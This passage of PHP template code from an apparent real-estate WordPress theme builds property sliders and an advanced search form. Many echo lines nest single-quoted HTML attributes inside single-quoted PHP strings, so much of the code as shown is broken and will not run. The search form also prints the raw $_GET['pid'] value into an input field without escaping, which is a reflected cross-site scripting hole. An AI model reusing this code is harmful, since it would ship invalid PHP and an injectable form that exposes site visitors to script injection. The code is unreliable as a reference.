    						'orderby' => $homeland_slider_orderby, 
    						'order' => $homeland_slider_order, 
    						'posts_per_page' => $homeland_slider_limit, 
    						'meta_query' => array( array( 
    							'key' => 'homeland_featured', 
    							'value' => 'on', 
    							'compare' => '==' 
    						)) 
    					);	
    				endif;
    			endif;	
    			$wp_query = new WP_Query( $args );
    
    			if ($wp_query->have_posts()) : ?>
    				<section class='slider-block'>
    					<div class='home-flexslider flex-loading'>
    						<ul class='slides'>
    						<?php
    							while ($wp_query->have_posts()) : 
    								$wp_query->the_post(); 
    								$homeland_price_per = esc_attr(get_post_meta($post->ID, 'homeland_price_per', true));
    								$homeland_price = esc_attr(get_post_meta($post->ID, 'homeland_price', true));
    								$homeland_address = esc_attr(get_post_meta($post->ID, 'homeland_address', true));
    								$homeland_area = esc_attr(get_post_meta($post->ID, 'homeland_area', true));
    								$homeland_area_unit = esc_attr(get_post_meta($post->ID, 'homeland_area_unit', true));
    								$homeland_floor_area = esc_attr(get_post_meta($post->ID, 'homeland_floor_area', true));
    								$homeland_floor_area_unit = esc_attr(get_post_meta($post->ID, 'homeland_floor_area_unit', true));
    								$homeland_bedroom = esc_attr(get_post_meta($post->ID, 'homeland_bedroom', true));
    								$homeland_bathroom = esc_attr(get_post_meta($post->ID, 'homeland_bathroom', true));
    								$homeland_property_sold = esc_attr(get_post_meta($post->ID, 'homeland_property_sold', true));
    								?>
    								<li id='post-<?php the_ID(); ?>'>
    									<div class='slide-image'>
    										<?php 
    											if ( has_post_thumbnail() ) : 
    												the_post_thumbnail($homeland_slider_image); 
    											else : ?>
    												<label class='no-image-fallback image-portfolio no-image-slider'>
    													<span><?php esc_html_e( 'No Image Available', 'homeland' ); ?></span>
    												</label><?php
    											endif; 
    										?>
    									</div>
    									<?php if(empty( $homeland_hide_properties_details )) : ?>
    										<div class='inside <?php echo esc_attr( $homeland_slider_type_class ); ?>'>
    											<?php if($homeland_slider_desc_type == 'Bottom') : ?>
    												<div class='slide-bottom clearfix'>
    													<div class='slide-bottom-title'>
    														<?php 
    															the_title( '<h2>', '</h2>' ); 
    															if(!empty($homeland_address)) :
    																echo '<h4><i class='fa fa-map-marker'></i>' . esc_html( $homeland_address ) . '</h4>';
    															endif;
    														?>
    													</div>	
    													<div class='slide-bottom-actions'>
    														<?php if(!empty($homeland_price)) : ?>
    															<span class='slide-price'><?php homeland_property_price_format(); ?></span>
    														<?php endif; ?>
    
    														<?php if(!empty($homeland_property_sold)) : ?>
    															<span class='property-sold-slide'>
    																<?php esc_html_e('Sold', 'homeland'); ?>
    															</span>
    														<?php endif; ?>
    
    														<a href='<?php the_permalink(); ?>' class='slide-more'>
    															<?php echo esc_html( $homeland_slider_button_label ); ?>
    														</a>
    													</div>
    												</div>
    											<?php elseif($homeland_slider_desc_type == 'Right') : ?>
    												<div class='slide-right'>
    													<?php 
    														the_title( '<h2>', '</h2>' ); 
    														if(!empty($homeland_address)) :
    															echo '<h4><i class='fa fa-map-marker'></i>' . esc_html( $homeland_address ) . '</h4>';
    														endif;
    
    														echo '<div class='clearfix'>';
    														if(!empty($homeland_area)) :
    															echo '<span>';
    															echo '<i class='fa fa-expand'></i>';
    															esc_html_e( 'Lot Area', 'homeland' ); 
    															echo ':&nbsp;';
    															echo esc_html( $homeland_area ) . '&nbsp;' . esc_html( $homeland_area_unit );
    															echo '</span>';
    														endif;
    
    														if(!empty($homeland_floor_area)) :
    															echo '<span>';
    															echo '<i class='fa fa-arrows-alt'></i>';
    															esc_html_e( 'Floor Area', 'homeland' ); echo ':&nbsp;';
    															echo esc_html( $homeland_floor_area ) . '&nbsp;' . esc_html( $homeland_floor_area_unit );
    															echo '</span>';
    														endif;
    
    														if(!empty($homeland_bedroom)) :
    															echo '<span>';
    															echo '<i class='fa fa-bed'></i>'. esc_html( $homeland_bedroom ) . '&nbsp;';
    															esc_html_e( 'Bedrooms', 'homeland' );
    															echo '</span>';
    														endif;
    
    														if(!empty($homeland_bathroom)) :
    															echo '<span>';
    															echo '<i class='fa fa-male'></i>'. esc_html( $homeland_bathroom ) . '&nbsp;';
    															esc_html_e( 'Bathrooms', 'homeland' );
    															echo '</span>';
    														endif;
    														echo '</div>';
    
    														if(!empty($homeland_price)) : ?>
    															<span class='slide-price'>
    																<?php homeland_property_price_format(); ?>
    															</span><?php
    														endif;
    
    														if(!empty($homeland_property_sold)) : ?>
    															<span class='property-sold-slide'>
    																<?php esc_html_e('Sold', 'homeland'); ?>
    															</span><?php 
    														endif;
    
    														if($homeland_slider_display_list == 'Blog' || $homeland_slider_display_list == 'Portfolio') :
    															the_excerpt();
    														endif;
    													?>
    													<a href='<?php the_permalink(); ?>' class='slide-more'>
    														<?php echo esc_html( $homeland_slider_button_label ); ?>
    													</a>
    												</div>
    											<?php else: ?>
    												<div class='slider-actions'>
    													<div class='portfolio-slide-desc'>
    														<?php 
    															the_title( '<h2>', '</h2>' ); 
    															the_excerpt(); 
    														?>
    													</div>	
    													<div class='pactions clearfix'>
    														<?php if(!empty($homeland_price)) : ?>
    															<label>
    																<i class='fa fa-tag'></i>
    																<span><?php homeland_property_price_format(); ?></span>
    																<?php if(!empty($homeland_property_sold)) : ?>
    																	<span class='property-sold-slide'>
    																		<?php esc_html_e('Sold', 'homeland'); ?>
    																	</span>
    																<?php endif; ?>
    															</label>
    														<?php endif; ?>
    														<a href='<?php the_permalink(); ?>'>
    															<span><?php echo esc_html( $homeland_slider_button_label ); ?></span>
    															<i class='fa fa-plus-circle'></i>
    														</a>
    													</div>
    												</div>
    											<?php endif; ?>
    										</div>
    									<?php endif; ?>
    								</li>
    							<?php endwhile; ?>
    						</ul>	
    					</div>	
    				</section><?php 
    			endif;	
    		}
    	endif;
    
    
    	/* FlexSlider Small */
    
    	if ( ! function_exists( 'homeland_slider_thumb' ) ) :
    		function homeland_slider_thumb() {
    			global $post;
    
    			$homeland_slider_order = esc_attr( get_option('homeland_slider_order') );
    			$homeland_slider_orderby = esc_attr( get_option('homeland_slider_orderby') );
    			$homeland_slider_limit = esc_attr( get_option('homeland_slider_limit') );
    			$homeland_slider_button = esc_attr( get_option('homeland_slider_button') );
    			$homeland_hide_properties_details = esc_attr( get_option('homeland_hide_properties_details') );
    			$homeland_slider_display_list = esc_attr( get_option('homeland_slider_display_list') );
    			$homeland_slider_desc_type = esc_attr( get_option('homeland_slider_desc_type') );
    			$homeland_currency = esc_attr( get_option('homeland_property_currency') ); 
    			$homeland_property_currency_sign = esc_attr( get_option('homeland_property_currency_sign') );
    			$homeland_slider_button_label = !empty( $homeland_slider_button ) ? $homeland_slider_button : esc_html__( 'More Details', 'homeland' );
    			$homeland_slider_type_class = '';
    
    			if($homeland_slider_desc_type == 'Right') : 
    				$homeland_slider_type_class = 'slider-right';
    			endif;
    
    			if($homeland_slider_display_list == 'Properties') :
    				if($homeland_slider_orderby == 'price') :
    					$args = array( 
    						'post_type' => 'homeland_properties', 
    						'meta_key' => 'homeland_price',
    						'orderby' => 'meta_value_num', 
    						'order' => $homeland_slider_order, 
    						'posts_per_page' => $homeland_slider_limit
    					);	
    				else :
    					$args = array( 
    						'post_type' => 'homeland_properties', 
    						'orderby' => $homeland_slider_orderby, 
    						'order' => $homeland_slider_order, 
    						'posts_per_page' => $homeland_slider_limit
    					);
    				endif;
    			elseif($homeland_slider_display_list == 'Blog') :
    				$args = array( 
    					'post_type' => 'post', 
    					'orderby' => $homeland_slider_orderby, 
    					'order' => $homeland_slider_order, 
    					'posts_per_page' => $homeland_slider_limit
    				);
    			elseif($homeland_slider_display_list == 'Portfolio') :
    				$args = array( 
    					'post_type' => 'homeland_portfolio', 
    					'orderby' => $homeland_slider_orderby, 
    					'order' => $homeland_slider_order, 
    					'posts_per_page' => $homeland_slider_limit
    				);
    			else :
    				if($homeland_slider_orderby == 'price') :
    					$args = array( 
    						'post_type' => 'homeland_properties', 
    						'meta_key' => 'homeland_price',
    						'orderby' => 'meta_value_num', 
    						'order' => $homeland_slider_order, 
    						'posts_per_page' => $homeland_slider_limit, 
    						'meta_query' => array( array( 
    							'key' => 'homeland_featured', 
    							'value' => 'on', 
    							'compare' => '==' 
    						)) 
    					);	
    				else :
    					$args = array( 
    						'post_type' => 'homeland_properties', 
    						'orderby' => $homeland_slider_orderby, 
    						'order' => $homeland_slider_order, 
    						'posts_per_page' => $homeland_slider_limit, 
    						'meta_query' => array( array( 
    							'key' => 'homeland_featured', 
    							'value' => 'on', 
    							'compare' => '==' 
    						)) 
    					);	
    				endif;
    			endif;	
    			$wp_query = new WP_Query( $args );
    
    			if ($wp_query->have_posts()) : ?>
    				<section class='slider-block-thumb'>
    					<div class='home-flexslider flex-loading'>
    						<ul class='slides'><?php
    							while ($wp_query->have_posts()) : 
    								$wp_query->the_post(); 
    								$homeland_price_per = esc_attr(get_post_meta($post->ID, 'homeland_price_per', true));
    								$homeland_price = esc_attr(get_post_meta($post->ID, 'homeland_price', true));
    								$homeland_address = esc_attr(get_post_meta($post->ID, 'homeland_address', true));
    								$homeland_area = esc_attr(get_post_meta($post->ID, 'homeland_area', true));
    								$homeland_area_unit = esc_attr(get_post_meta($post->ID, 'homeland_area_unit', true));
    								$homeland_floor_area = esc_attr(get_post_meta($post->ID, 'homeland_floor_area', true));
    								$homeland_floor_area_unit = esc_attr(get_post_meta($post->ID, 'homeland_floor_area_unit', true));
    								$homeland_bedroom = esc_attr(get_post_meta($post->ID, 'homeland_bedroom', true));
    								$homeland_bathroom = esc_attr(get_post_meta($post->ID, 'homeland_bathroom', true));
    								$homeland_property_sold = esc_attr(get_post_meta($post->ID, 'homeland_property_sold', true));
    
    								$homeland_thumb_image_url = wp_get_attachment_image_src( get_post_thumbnail_id( $post->ID ), 'homeland_property_thumb' ); 
    								?>
    								<li id='post-<?php the_ID(); ?>' data-thumb='<?php echo esc_url( $homeland_thumb_image_url[0] ); ?>'>
    									<div class='slide-image'>
    										<?php 
    											if ( has_post_thumbnail() ) : 
    												the_post_thumbnail( 'homeland_portfolio_large' ); 
    											else : ?>
    												<label class='no-image-fallback image-portfolio no-image-slider'>
    													<span><?php esc_html_e( 'No Image Available', 'homeland' ); ?></span>
    												</label><?php
    											endif; 
    										?>
    									</div>
    									<?php if(empty( $homeland_hide_properties_details )) : ?>
    										<div class='inside <?php echo esc_attr( $homeland_slider_type_class ); ?>'>
    											<?php if($homeland_slider_desc_type == 'Bottom') : ?>
    												<div class='slide-bottom clearfix'>
    													<div class='slide-bottom-title'>
    														<?php 
    															the_title( '<h2>', '</h2>' ); 
    															if(!empty($homeland_address)) :
    																echo '<h4><i class='fa fa-map-marker'></i>' . esc_html( $homeland_address ) . '</h4>';
    															endif;
    														?>
    													</div>	
    													<div class='slide-bottom-actions'>
    														<?php if(!empty($homeland_price)) : ?>
    															<span class='slide-price'><?php homeland_property_price_format(); ?></span>
    														<?php endif; ?>
    
    														<?php if(!empty($homeland_property_sold)) : ?>
    															<span class='property-sold-slide'>
    																<?php esc_html_e('Sold', 'homeland'); ?>
    															</span>
    														<?php endif; ?>
    
    														<a href='<?php the_permalink(); ?>' class='slide-more'>
    															<?php echo esc_html( $homeland_slider_button_label ); ?>
    														</a>
    													</div>
    												</div>
    											<?php elseif($homeland_slider_desc_type == 'Right') : ?>
    												<div class='slide-right'>
    													<?php 
    														the_title( '<h2>', '</h2>' ); 
    														if(!empty($homeland_address)) :
    															echo '<h4><i class='fa fa-map-marker'></i>' . esc_html( $homeland_address ) . '</h4>';
    														endif;
    
    														echo '<div class='clearfix'>';
    														if(!empty($homeland_area)) :
    															echo '<span>';
    															echo '<i class='fa fa-expand'></i>';
    															esc_html_e( 'Lot Area', 'homeland' ); echo ':&nbsp;';
    															echo esc_html( $homeland_area ) . '&nbsp;' . esc_html( $homeland_area_unit );
    															echo '</span>';
    														endif;
    
    														if(!empty($homeland_floor_area)) :
    															echo '<span>';
    															echo '<i class='fa fa-arrows-alt'></i>';
    															esc_html_e( 'Floor Area', 'homeland' ); echo ':&nbsp;';
    															echo esc_html( $homeland_floor_area ) . '&nbsp;' . esc_html( $homeland_floor_area_unit );
    															echo '</span>';
    														endif;
    
    														if(!empty($homeland_bedroom)) :
    															echo '<span>';
    															echo '<i class='fa fa-bed'></i>'. esc_html( $homeland_bedroom ) . '&nbsp;';
    															esc_html_e( 'Bedrooms', 'homeland' );
    															echo '</span>';
    														endif;
    
    														if(!empty($homeland_bathroom)) :
    															echo '<span>';
    															echo '<i class='fa fa-male'></i>'. esc_html( $homeland_bathroom ) . '&nbsp;';
    															esc_html_e( 'Bathrooms', 'homeland' );
    															echo '</span>';
    														endif;
    														echo '</div>';
    
    														if(!empty($homeland_price)) : ?>
    															<span class='slide-price'>
    																<?php homeland_property_price_format(); ?>
    															</span><?php 
    														endif; 
    
    														if(!empty($homeland_property_sold)) : ?>
    															<span class='property-sold-slide'>
    																<?php esc_html_e('Sold', 'homeland'); ?>
    															</span><?php 
    														endif;
    
    														if($homeland_slider_display_list == 'Blog' || $homeland_slider_display_list == 'Portfolio') :
    															the_excerpt();
    														endif;
    													?>
    													<a href='<?php the_permalink(); ?>' class='slide-more'>
    														<?php echo esc_html( $homeland_slider_button_label ); ?>
    													</a>
    												</div>
    											<?php else: ?>
    												<div class='slider-actions'>
    													<div class='portfolio-slide-desc'>
    														<?php 
    															the_title( '<h2>', '</h2>' ); 
    															the_excerpt(); 
    														?>
    													</div>	
    													<div class='pactions clearfix'>
    														<?php if(!empty($homeland_price)) : ?>
    															<label>
    																<i class='fa fa-tag'></i>
    																<span><?php homeland_property_price_format(); ?></span>
    																<?php if(!empty($homeland_property_sold)) : ?>
    																	<span class='property-sold-slide'>
    																		<?php esc_html_e('Sold', 'homeland'); ?>
    																	</span>
    																<?php endif; ?>
    															</label>
    														<?php endif; ?>
    														<a href='<?php the_permalink(); ?>'>
    															<span><?php echo esc_html( $homeland_slider_button_label ); ?></span>
    															<i class='fa fa-plus-circle'></i>
    														</a>
    													</div>
    												</div>
    											<?php endif; ?>
    										</div>
    									<?php endif; ?>
    								</li>
    							<?php endwhile; ?>
    						</ul>	
    					</div>
    				</section><?php 
    			endif;	
    		}
    	endif;
    
    
    	/* Advance Search */
    
    	if ( ! function_exists( 'homeland_advance_search' ) ) :
    		function homeland_advance_search() {
    			$homeland_disable_advance_search = esc_attr( get_option('homeland_disable_advance_search') );
    			$homeland_hide_advance_search = esc_attr( get_option('homeland_hide_advance_search') );	
    
    			if(is_front_page()) : 
    				if(empty($homeland_hide_advance_search)) : 
    					homeland_advance_search_divs(); 
    				endif;
    			elseif(is_page() || is_single() || is_archive() || is_author() || is_404() || is_search() ) :
    				if(empty($homeland_disable_advance_search)) : homeland_advance_search_divs(); 
    				endif;
    			endif;
    		}
    	endif;
    
    
    	/* Advance Search Div */
    
    	if ( ! function_exists( 'homeland_advance_search_divs' ) ) :
    		function homeland_advance_search_divs() {
    			if(is_page_template('template-homepage.php') || is_page_template('template-homepage2.php') || is_page_template('template-homepage3.php') || is_page_template('template-homepage4.php') || is_page_template('template-homepage-video.php') || is_page_template('template-homepage-revslider.php') || is_page_template('template-homepage-gmap.php') || is_page_template('template-homepage-builder.php')) : 
    				$homeland_search_class = 'advance-search-block';
    			else : $homeland_search_class = 'advance-search-block advance-search-block-page';
    			endif;
    
    			echo '<section class='' . esc_attr( $homeland_search_class ) . '' id='advance-search'><div class='inside'>';
    				if ( is_active_sidebar( 'homeland_search_type' ) ) : 
    					dynamic_sidebar( 'homeland_search_type' );
    				else : homeland_advance_search_form();
    				endif;
    			echo '</div></section>';
    		}
    	endif;
    
    
    	/* Advance Search Form */
    
    	if ( ! function_exists( 'homeland_advance_search_form' ) ) :
    		function homeland_advance_search_form() {
    			global $homeland_advance_search_page_url;
    
    			$homeland_currency = esc_attr( get_option('homeland_property_currency') ); 
    			$homeland_property_currency_sign = esc_attr( get_option('homeland_property_currency_sign') ); 
    			$homeland_city_label = esc_attr( get_option('homeland_city_label') );
    			$homeland_pid_label = esc_attr( get_option('homeland_pid_label') );
    			$homeland_status_label = esc_attr( get_option('homeland_status_label') );
    			$homeland_property_type_label = esc_attr( get_option('homeland_property_type_label') );
    			$homeland_bed_label = esc_attr( get_option('homeland_bed_label') );
    			$homeland_bath_label = esc_attr( get_option('homeland_bath_label') );
    			$homeland_min_price_label = esc_attr( get_option('homeland_min_price_label') );
    			$homeland_max_price_label = esc_attr( get_option('homeland_max_price_label') );
    			$homeland_search_button_label = esc_attr( get_option('homeland_search_button_label') );
    			$homeland_hide_city = esc_attr( get_option('homeland_hide_city') );
    			$homeland_hide_city_empty = esc_attr( get_option('homeland_hide_city_empty') );
    			$homeland_hide_pid = esc_attr( get_option('homeland_hide_pid') );
    			$homeland_hide_status = esc_attr( get_option('homeland_hide_status') );
    			$homeland_hide_status_empty = esc_attr( get_option('homeland_hide_status_empty') );
    			$homeland_hide_property_type = esc_attr( get_option('homeland_hide_property_type') );
    			$homeland_hide_property_type_empty = esc_attr( get_option('homeland_hide_property_type_empty') );
    			$homeland_hide_bed = esc_attr( get_option('homeland_hide_bed') );
    			$homeland_hide_bath = esc_attr( get_option('homeland_hide_bath') );
    			$homeland_hide_min_price = esc_attr( get_option('homeland_hide_min_price') );
    			$homeland_hide_max_price = esc_attr( get_option('homeland_hide_max_price') );
    			$homeland_property_city_order = esc_attr( get_option('homeland_property_city_order') );
    			$homeland_property_city_orderby = esc_attr( get_option('homeland_property_city_orderby') );
    			$homeland_property_status_order = esc_attr( get_option('homeland_property_status_order') );
    			$homeland_property_status_orderby = esc_attr( get_option('homeland_property_status_orderby') );
    			$homeland_property_type_order = esc_attr( get_option('homeland_property_type_order') );
    			$homeland_property_type_orderby = esc_attr( get_option('homeland_property_type_orderby') );
    			$homeland_price_format = esc_attr( get_option('homeland_price_format') );
    			$homeland_property_decimal = esc_attr( get_option('homeland_property_decimal') );
    			$homeland_property_decimal = !empty($homeland_property_decimal) ? $homeland_property_decimal : 0;
    			$homeland_prefix = '-- ';
    			$homeland_search_term = '';
    
    			$homeland_property_id_label = !empty($homeland_pid_label) ? $homeland_pid_label : esc_html__( 'Property ID', 'homeland' );
    			$homeland_city_label = !empty($homeland_city_label) ? $homeland_city_label : esc_html__( 'City', 'homeland' );
    			$homeland_property_type_label = !empty($homeland_property_type_label) ? $homeland_property_type_label : esc_html__( 'Type', 'homeland' );
    			$homeland_status_label = !empty($homeland_status_label) ? $homeland_status_label : esc_html__( 'Status', 'homeland' );
    			$homeland_bed_label = !empty($homeland_bed_label) ? $homeland_bed_label : esc_html__( 'Bedrooms', 'homeland' );
    			$homeland_bath_label = !empty($homeland_bath_label) ? $homeland_bath_label : esc_html__( 'Bathrooms', 'homeland' );
    			$homeland_min_price_label = !empty($homeland_min_price_label) ? $homeland_min_price_label : esc_html__( 'Minimum Price', 'homeland' );
    			$homeland_max_price_label = !empty($homeland_max_price_label) ? $homeland_max_price_label : esc_html__( 'Maximum Price', 'homeland' );
    			$homeland_search_button_label = !empty($homeland_search_button_label) ? $homeland_search_button_label : esc_html__( 'Search', 'homeland' );
    			?>
    			<form action='<?php echo esc_url( $homeland_advance_search_page_url ); ?>' method='get' id='searchform' class='searchform'>
    				<ul class='clearfix'>
    					<?php
    						if(empty( $homeland_hide_pid )) : 
    							if(isset($_GET['pid'])) : $homeland_search_term = $_GET['pid']; endif; ?>
    							<li>
    								<input type='text' name='pid' class='property-id' value='<?php if($homeland_search_term) : echo $_GET['pid']; endif; ?>' placeholder='<?php echo esc_html( $homeland_property_id_label ); ?>' />
    							</li><?php
    						endif;
    
    						if(empty( $homeland_hide_city )) : 
    							if(isset($_GET['city'])) : $homeland_search_term = $_GET['city']; endif; 
    						?>
    							<li class='as-large'>
    								<select name='city'>
    									<option value=''><?php echo esc_html( $homeland_city_label ); ?></option>
    									<?php
    										if(!empty($homeland_hide_city_empty)) :
    											$args = array( 
    												'hide_empty' => 1, 
    												'hierarchical' => 0, 
    												'parent' => 0,
    												'orderby' => $homeland_property_city_orderby, 
    												'order' => $homeland_property_city_order 
    											);
    										else :
    											$args = array( 
    												'hide_empty' => 0, 
    												'hierarchical' => 0, 
    												'parent' => 0,
    												'orderby' => $homeland_property_city_orderby, 
    												'order' => $homeland_property_city_order 
    											);
    										endif;
    										$homeland_terms = get_terms('homeland_property_location', $args);
    
    										foreach ($homeland_terms as $homeland_city) : 
    											$homeland_city_slug = $homeland_city->slug;
    											$homeland_city_name = $homeland_city->name;
    											$homeland_city_term_id = $homeland_city->term_id;
    
    											if($homeland_search_term == $homeland_city_slug) : 
    												$homeland_search_term_class = 'selected='selected''; 
    											else : $homeland_search_term_class = '';
    											endif; ?>
    
    										  <option value='<?php echo esc_html( $homeland_city_slug ); ?>' <?php echo esc_html( $homeland_search_term_class ); ?>><?php echo esc_html( $homeland_city_name ); ?></option><?php
    
    										  if(!empty($homeland_hide_city_empty)) :
    										  	$args_child = array( 
    											   	'hide_empty' => 1, 
    											   	'hierarchical' => 0,
    											   	'parent' => $homeland_city_term_id,
    											   	'orderby' => $homeland_property_city_orderby, 
    													'order' => $homeland_property_city_order
    											  );
    										  else :
    											  $args_child = array( 
    											   	'hide_empty' => 0, 
    											   	'hierarchical' => 0,
    											   	'parent' => $homeland_city_term_id,
    											   	'orderby' => $homeland_property_city_orderby, 
    													'order' => $homeland_property_city_order
    											  );
    											endif;
    											$homeland_terms_child = get_terms('homeland_property_location', $args_child);
    
    											foreach ($homeland_terms_child as $homeland_city_child) : 
    												$homeland_city_child_slug = $homeland_city_child->slug;
    												$homeland_city_child_name = $homeland_city_child->name;
    
    												if($homeland_search_term == $homeland_city_child_slug) : 
    													$homeland_search_term_child_class = 'selected='selected''; 
    												else : $homeland_search_term_child_class = '';
    												endif; ?>
    
    											  <option value='<?php echo esc_html( $homeland_city_child_slug ); ?>' <?php echo esc_html( $homeland_search_term_child_class ); ?>><?php echo $homeland_prefix . esc_html( $homeland_city_child_name ); ?></option><?php
    											endforeach;
    										endforeach;
    									?>						
    								</select>									
    							</li><?php
    						endif;
    
    						if(empty( $homeland_hide_property_type )) : 
    							if(isset($_GET['type'])) : $homeland_search_term = $_GET['type']; endif;
    						?>
    							<li class='as-large'>
    								<select name='type'>
    									<option value=''><?php echo esc_html( $homeland_property_type_label ); ?></option>
    									<?php
    										if(!empty($homeland_hide_property_type_empty)) :
    											$args = array( 
    												'hide_empty' => 1, 
    												'hierarchical' => 0, 
    												'parent' => 0, 
    												'orderby' => $homeland_property_type_orderby, 
    												'order' => $homeland_property_type_order
    											);
    										else :
    											$args = array( 
    												'hide_empty' => 0, 
    												'hierarchical' => 0, 
    												'parent' => 0, 
    												'orderby' => $homeland_property_type_orderby, 
    												'order' => $homeland_property_type_order
    											);
    										endif;
    										
    										$homeland_terms = get_terms('homeland_property_type', $args);
    
    										if(!empty($homeland_terms)) :
    											foreach ($homeland_terms as $homeland_ptype) : 
    												$homeland_ptype_slug = $homeland_ptype->slug;
    												$homeland_ptype_name = $homeland_ptype->name;
    												$homeland_ptype_term_id = $homeland_ptype->term_id;
    												
    												if($homeland_search_term == $homeland_ptype_slug) : 
    													$homeland_search_term_class = 'selected='selected''; 
    												else : $homeland_search_term_class = '';
    												endif; ?>
    
    											  <option value='<?php echo esc_html( $homeland_ptype_slug ); ?>' <?php echo esc_html( $homeland_search_term_class ); ?>><?php echo esc_html( $homeland_ptype_name ); ?></option><?php
    
    											  if(!empty($homeland_hide_property_type_empty)) :
    											  	$args_child = array( 
    														'hide_empty' => 1, 
    														'hierarchical' => 0, 
    														'parent' => $homeland_ptype_term_id,
    														'orderby' => $homeland_property_type_orderby, 
    														'order' => $homeland_property_type_order
    													);
    											  else :	
    													$args_child = array( 
    														'hide_empty' => 0, 
    														'hierarchical' => 0, 
    														'parent' => $homeland_ptype_term_id,
    														'orderby' => $homeland_property_type_orderby, 
    														'order' => $homeland_property_type_order
    													);
    												endif;
    												$homeland_terms_child = get_terms('homeland_property_type', $args_child);
    
    												foreach ($homeland_terms_child as $homeland_ptype_child) : 
    													$homeland_ptype_child_slug = $homeland_ptype_child->slug;
    													$homeland_ptype_child_name = $homeland_ptype_child->name;
    
    													if($homeland_search_term == $homeland_ptype_child_slug) : 
    														$homeland_search_term_child_class = 'selected='selected''; 
    													else : $homeland_search_term_child_class = '';
    													endif; ?>
    
    												  <option value='<?php echo esc_html( $homeland_ptype_child_slug ); ?>' <?php echo esc_html( $homeland_search_term_child_class ); ?>><?php echo $homeland_prefix . esc_html( $homeland_ptype_child_name ); ?></option><?php
    												endforeach;
    											endforeach;
    										endif;
    									?>
    								</select>
    							</li><?php
    						endif;
    
    						if(empty( $homeland_hide_status )) :
    							if(isset($_GET['status'])) : $homeland_search_term = $_GET['status']; endif;
    						?>
    							<li class='as-large'>
    								<select name='status'>
    									<option value=''><?php echo esc_html( $homeland_status_label ); ?></option>
    									<?php
    										if(!empty($homeland_hide_status)) :
    											$args = array( 
    												'hide_empty' => 1, 
    												'hierarchical' => 0, 
    												'parent' => 0,
    												'orderby' => $homeland_property_status_orderby, 
    												'order' => $homeland_property_status_order
    											);
    										else :
    											$args = array( 
    												'hide_empty' => 0, 
    												'hierarchical' => 0, 
    												'parent' => 0,
    												'orderby' => $homeland_property_status_orderby, 
    												'order' => $homeland_property_status_order
    											);
    										endif;
    										$homeland_terms = get_terms('homeland_property_status', $args);
    
    										foreach ($homeland_terms as $homeland_pstatus) : 
    											$homeland_pstatus_slug = $homeland_pstatus->slug;
    											$homeland_pstatus_name = $homeland_pstatus->name;
    											$homeland_pstatus_term_id = $homeland_pstatus->term_id;
    
    											if($homeland_search_term == $homeland_pstatus_slug) : 
    												$homeland_search_term_class = 'selected='selected''; 
    											else : $homeland_search_term_class = '';
    											endif; ?>
    
    										  <option value='<?php echo esc_html( $homeland_pstatus_slug ); ?>' <?php echo esc_html( $homeland_search_term_class ); ?>><?php echo esc_html( $homeland_pstatus_name ); ?></option><?php
    
    										  if(!empty($homeland_hide_status)) :
    										  	$args_child = array( 
    											   	'hide_empty' => 1, 
    											   	'hierarchical' => 0, 
    											   	'parent' => $homeland_pstatus_term_id,
    											   	'orderby' => $homeland_property_status_orderby, 
    													'order' => $homeland_property_status_order
    											  );
    										  else :
    											  $args_child = array( 
    											   	'hide_empty' => 0, 
    											   	'hierarchical' => 0, 
    											   	'parent' => $homeland_pstatus_term_id,
    											   	'orderby' => $homeland_property_status_orderby, 
    													'order' => $homeland_property_status_order
    											  );
    											endif;
    											$homeland_terms_child = get_terms('homeland_property_status', $args_child);
    
    											foreach ($homeland_terms_child as $homeland_pstatus_child) : 
    												$homeland_pstatus_child_slug = $homeland_pstatus_child->slug;
    												$homeland_pstatus_child_name = $homeland_pstatus_child->name;
    
    												if($homeland_search_term == $homeland_pstatus_child_slug) : 
    													$homeland_search_term_child_class = 'selected='selected''; 
    												else : $homeland_search_term_child_class = '';
    												endif; ?>
    
    											   <option value='<?php echo esc_html( $homeland_pstatus_child_slug ); ?>' <?php echo esc_html( $homeland_search_term_child_class ); ?>><?php echo $homeland_prefix . esc_html( $homeland_pstatus_child_name ); ?></option><?php
    											endforeach;
    										endforeach;
    									?>						
    								</select>
    							</li><?php
    						endif;
    
    						if(empty( $homeland_hide_bed )) : 
    							if(isset($_GET['bed'])) : $homeland_search_term = $_GET['bed']; endif;
    
    							$homeland_bed_number = esc_attr( get_option('homeland_bed_number') );
    							$homeland_array = explode(', ', $homeland_bed_number); ?>
    							<li class='as-small'>
    								<select name='bed'>
    									<option value=''><?php echo esc_html( $homeland_bed_label ); ?></option>
    									<?php
    										foreach($homeland_array as $homeland_number_option) : 
    											if($homeland_search_term == $homeland_number_option) : 
    												$homeland_search_term_class = 'selected='selected''; 
    											else : $homeland_search_term_class = '';
    											endif; 
    									?>
    									<option value='<?php echo esc_html( $homeland_number_option ); ?>' <?php echo esc_html( $homeland_search_term_class ); ?>><?php echo esc_html( $homeland_number_option ); ?></option>
    									<?php endforeach; ?>						
    								</select>
    							</li><?php
    						endif;
    
    						if(empty( $homeland_hide_bath )) : 
    							if(isset($_GET['bath'])) : $homeland_search_term = $_GET['bath']; endif;
    
    							$homeland_bath_number = esc_attr( get_option('homeland_bath_number') );
    							$homeland_array = explode(', ', $homeland_bath_number); ?>
    							<li class='as-small'>
    								<select name='bath'>
    									<option value=''><?php echo esc_html( $homeland_bath_label ); ?></option>
    									<?php
    										foreach($homeland_array as $homeland_number_option) : 
    											if($homeland_search_term == $homeland_number_option) : 
    												$homeland_search_term_class = 'selected='selected''; 
    											else : $homeland_search_term_class = '';
    											endif; ?>
    
    						          <option value='<?php echo esc_html( $homeland_number_option ); ?>' <?php echo esc_html( $homeland_search_term_class ); ?>><?php echo esc_html( $homeland_number_option ); ?></option>
    						      <?php endforeach; ?>		
    								</select>
    							</li><?php
    						endif;
    
    						if(empty( $homeland_hide_min_price )) : 
    							if(isset($_GET['min-price'])) : $homeland_search_term = $_GET['min-price']; endif;
    
    							$homeland_min_price_value = esc_attr( get_option('homeland_min_price_value') );
    							$homeland_array = explode(', ', $homeland_min_price_value);
    							$homeland_property_currency_after = '';
    							$homeland_property_currency_before = ''; ?>
    							<li class='as-small'> 
    								<select name='min-price' class='min-price'>
    									<option value=''><?php echo esc_html( $homeland_min_price_label ); ?></option>			
    									<?php
    										foreach($homeland_array as $homeland_number_option) : 
    											if( $homeland_property_currency_sign == 'After' ) : 
    												$homeland_property_currency_after = $homeland_currency; 
    											else : $homeland_property_currency_before = $homeland_currency; 
    											endif;
    
    											if($homeland_price_format == 'Dot') :
    												$homeland_price_format_result = number_format ( $homeland_number_option, $homeland_property_decimal, '.', '.' );
    											elseif($homeland_price_format == 'Comma') : 
    												$homeland_price_format_result = number_format ( $homeland_number_option, $homeland_property_decimal );
